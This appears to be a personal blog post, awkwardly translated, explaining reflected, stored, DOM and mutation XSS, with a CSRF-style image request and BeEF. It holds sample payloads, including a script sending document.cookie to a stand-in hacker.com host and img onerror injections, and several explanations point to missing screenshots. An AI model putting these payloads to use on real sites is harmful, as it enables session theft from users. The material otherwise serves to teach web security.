Classification and Utilization of XSS

XSS (Cross Site Scripting, pay attention to cross-site, not cross-domain, the difference between the two you can search for yourself) vulnerability is a commonplace front-end security threats.

But in fact, it still ranks in the top ten of the front-end vulnerability list so far.

In addition, I recently bought a course on cyber security vulnerabilities. Of course, the main purpose is to protect my information security, hahaha.

The course is roughly divided into five parts. The first part is the basics of security, which are all basic knowledge, such as HTML, CSS, JS, PHP, NGINX, Spring, network protocols, etc. In fact, it is a classic interview question. What will happen when you receive a webpage? This question is an excellent question. It can even be said that it is the backbone of all technologies on the Internet. Almost all of your knowledge can be linked to the real question.

The second part is the back-end security, a small part is about file upload vulnerabilities, or some Nginx vulnerabilities, most of them are about SQL injection, this part, read a little I think I should go back to see the database and then come back to see, because the basic do not understand.

So jump directly to the third part of the front-end security, up is this XSS, and refresh their own wave of cognition, record.

The dangers of XSS attacks

Before talking about the three common XSS, let’s talk about the basic principles of XSS attacks.

As we all know, the web pages we see are actually HTML, which is a word we will hear in elementary school computer class, called “Hypertext Markup Language”, which uses tags to represent the content we want to present, and then the browser converts these tags into pictures according to the design standards of the language. Yes, that’s right, in fact, no matter what software it is, it is finally drawn into pictures and displayed to users. There is no difference between web pages and ordinary software. For computers, the last step is to draw pictures.

< div > This is a div </div >
< img src = "Image URL link"/>

This is a very simple HTML, the actual page is much more complex than this, you can open a web page, with developer tools to see.

There are many kinds of tags, some of which will send requests or executable code.

For example, the img tag, the src attribute is actually a request sent to obtain the server image referred to by the src attribute. Of course, if it is a normal website, after obtaining the image, it will be rendered into a normal image, but if this src is not a normal What about the image address, but a transfer request? For example, the following

<img src="https://www.somebank/transformer/from/A/to/B/dollar/10000"/>

Assuming that the transfer request of a bank is this’https://www.somebank/transformer/from/A/to/B/dollar/1000 ', this request is normally made when you choose to transfer money from your account (A) to B on the official website of the bank. It will be issued, usually by clicking a button (html: < button onClick = “Initiate Transfer Request” > Confirm Transfer , this thing renders out the button we usually see. It can be seen that in essence, button and img are just a label).

But if it’s not normal, you open a web page, a web page of unknown origin, and there is this picture in it. When the browser renders the img, it will try to go to the src address to get the picture, but unfortunately, this address does not have a picture. If you send a transfer request, the bank server will only tell you that the transfer was successful, so you didn’t get the picture back. The location where the picture should have appeared may be a simple cross, and your money is gone.

Img is relatively simple, you can only send a get request. If it is a script tag, it is where we usually say the js script is stored. If you inject a script into the attacker, you can really do whatever you want, and all your information will be taken away. Take away, such as cookies (that is, your information on a certain website. If you get this, it is equivalent to opening all your permissions on the website to hackers. If you get this, you only need a simple document.cookie, only these A few letters, your identity was stolen).

Basic attack principles of XSS

The above mentioned the harm of XSS, then talk about the basic principles, we will take the most harmful script as an example, in fact, we find a way to inject a script tag into a website.

This matter is not difficult, we just said, all are tags, a normal web page, such as a forum, many people can publish their own remarks on it, such as me I posted under a post, “The weather is so good today”, the web page wants to render, in fact, first turn this sentence to “< span > The weather is so good today ”;

But if my comment is < script > post (‘http://hacker.com/cookie’, document.cookie) '; if this forum is not secure enough, do you think this thing will be displayed to you like a normal comment?

No, this thing will be rendered as a script tag, and the code inside (‘post (’ http://hacker.com/cookie ', document.cookie) ') will be executed, and your cookie will be sent to the attacker’s server.

Of course, the development of the present, there are few sites and this very basic vulnerability, this thing is, hackers find a way to bypass the site security.

The ultimate goal is to make your content not be considered a simple display of a piece of text.

Reflective XSS

This type of XSS is relatively basic and less harmful. It is called reflection type because after the link is connected to the backend, the backend parsing is completed and it is directly returned to the front end. Just like a reflection, it does not affect the backend. have an impact.

It requires hackers to construct a URL and then tempt users to click.

Suppose there is a website, after you log in successfully,

He will jump to a new address, such as http://localhost/xss_get.php?firstname=ray&lastname=sun

Then the website will take out the ray and sun from the fixed position in the url to render to the page.

This looks fine, but if you enter a script, ‘http://site.com/user/ < script > alert (document.cookie) ’

At this time, the performance of the browser is like this:

If I don’t alert, but send a request to the background, then the cookie will be stolen by me.

So how to defend? The most basic thing is not to click on strange URLs, but it is still naive.

The first way, some web pages will prompt you to let you draw, after you click, it is equivalent to clicking this link, such as

< img onclick = "window.location.href = http://localhost/xss_get.php?firstname=ray&lastname=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&form=submit" src = "This is indeed a picture address"/>

You click on this picture, it will start onclick the corresponding code, and then modify window.locaion.href, this thing changed, the browser will jump.

The second method, short URL or QR code:

For example, the link above, go to 985.so, it will help you convert to this:

In general, this thing can have no features at all, so the most fundamental method is not to click randomly, do not scan the code randomly, you do not know what is behind.

Storage XSS

This type of harm is relatively large, because it is persistent in the database, so it is called storage type.

For example, I posted a comment on this website, and the content was my name: ray.

Then it looks like this, it seems normal, and the content I posted is in the reply here.

If the comment I try to type is’ < script > alert (‘xss); ’

Browsers will render like this

Is there a problem with this, no problem at all, this is how browsers work, you ask me to render a script tag, and I render it.

But the result is this:

Alert is a pop-up warning prompt, but hackers are directly sent a request is done.

We can see what the database looks like:

For the database, ray and ‘< script > alert (’ xss); 'are both pieces of text, there is no difference, this script tag only makes sense for the browser.

But then, everyone who opens this post will load this malicious code and do whatever they want.

How much more can we do as we please?

Introduce a tool, BeEF, which provides a background, a background management page, a script, as long as you find a way to inject this script into it, you can do anything.

Take a brief look at this script, it’s very long, just take a look.

I started a BeEF locally, and then I figured out a way to inject this script into it.

For example here:

After success, I can see all your information in the BeEF background, including your system, browser, cookies, etc

Is it scary? There are even scarier ones, such as I can induce you to download malicious software

Then your browser will display this:

If you click, it will download the file I specified, it is likely that your computer will be remotely controlled by me. Of course, this is in theory. I don’t have the ability for the time being, hahaha

After this BeEF, another blog introduction, there are too many functions, so I won’t introduce them one by one

Stored XSS combined with file upload vulnerability

Some files can be inserted into the code, such as svg can be inserted into the script script, if the website uploads the file without detection, you can upload a svg image with malicious code, then it will form a storage type XSS.

DOM型XSS

DOM XSS is actually a reflection type, or supplement, we just said reflection type, need to request to the background, the background to extract the link information, and then splice the entire web page to the front end, you can see, this is for the front and back end separation, or pure front-end project is useless, because it is the front-end dynamic changes, rather than the back-end to.

In this case, you need to use DOM-type XSS.

It is achieved by dynamically manipulating the DOM tree without relying on data submission to the server, such as:

<script>document.write('<script>alert(document.cookie)</script>')</script>

The same point as the reflection type is that it does not control the user’s input well and renders the script script as a tag.

The difference lies in whether it passes through the server. The reflective page is the server level splicing the complete page according to the url to render the front end, while the DOM type is to directly modify the page structure in the script and insert a script node, or the reflection at the beginning. It is the reflection between user input and the backend. DOM reflection is the reflection between user input and the front-end’s own logic, and the front-end itself will react according to user input.

The harm of DOM type is that it can bypass the scene of front-end and back-end separation, or it can not go through the firewall, because it is not the back-end, then this time, the security problem is all in the front-end

For example, if the front end has this logic:

This code directly obtains parameters from the url on the front end, modifies the page structure, and starts the reflection type, this logic is in the back end.

The rest is basically the same as the first reflection type

Mutant XSS

This kind of XSS is more wonderful, it is caused by different browsers’ different parsing of the html standard. Yes, it is very annoying. Every browser wants to be a standard setter, and then it is troublesome.

The attacker enters seemingly safe content, which is rewritten, written or modified by the browser when parsing the tag, mutates, generates unsafe code and executes it, that is, mXSS, which is extremely difficult to detect and filter.

For example, this code:

<div>I am trying to be <i>malicious</i> <u>here</u>! <img src=1 onerror=alert(1)></div>

Maybe your browser can help filter this code. After being translated by you, the browser’s strategy will be invalid.

For example, this one:

After three steps, this mediocre piece of code became a vulnerability.